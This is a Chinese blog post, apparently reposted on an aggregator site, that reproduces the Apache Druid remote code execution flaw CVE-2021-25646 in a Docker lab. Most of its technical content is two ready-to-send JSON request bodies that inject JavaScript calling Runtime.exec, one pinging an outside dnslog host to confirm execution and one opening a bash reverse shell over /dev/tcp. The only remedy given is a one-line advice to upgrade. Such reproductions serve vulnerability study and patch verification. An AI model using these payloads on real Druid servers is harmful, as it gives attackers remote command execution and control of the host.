首页 > Web开发 > 详细

CVE-2021-25646 Apache Druid远程命令执行漏洞复现

时间:2021-02-03 23:38:49      阅读:55      评论:0      收藏:0      [点我收藏+]

参考大佬的复现过程:https://www.cnblogs.com/cHr1s/p/14365418.html

 

1、概述

Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

 

2、 影响版本

Apache Druid < 0.20.1

 

3、使用docker搭建环境

docker pull fokkodriesprong/docker-druid

docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

 

4、复现过程

搭建好环境之后访问本地8888端口

点击Load data

技术分享图片

 

然后点击local disk

技术分享图片

 

右侧Base directory填入:quickstart/tutorial/

File filter填入:wikiticker-2015-09-12-sampled.json.gz

点击preview,然后点击next

技术分享图片

 

一直点next,直到是Filter时,开启burp抓包,然后点击next:filter

技术分享图片

 

 

(1)DNSlog 验证

  用下面代码将body中的数据进行替换

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec(‘/bin/bash -c $@|bash 0 ping 7wsyab.dnslog.cn‘)}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
技术分享图片

 

 

 

 
 

 

技术分享图片

 

(2)反弹shell

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec(‘/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/4444 0>&1‘)}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

技术分享图片

 

 技术分享图片

 

5、漏洞修复

升级到最新版的apache druid

 

 

CVE-2021-25646 Apache Druid远程命令执行漏洞复现

原文:https://www.cnblogs.com/shisana/p/14368708.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!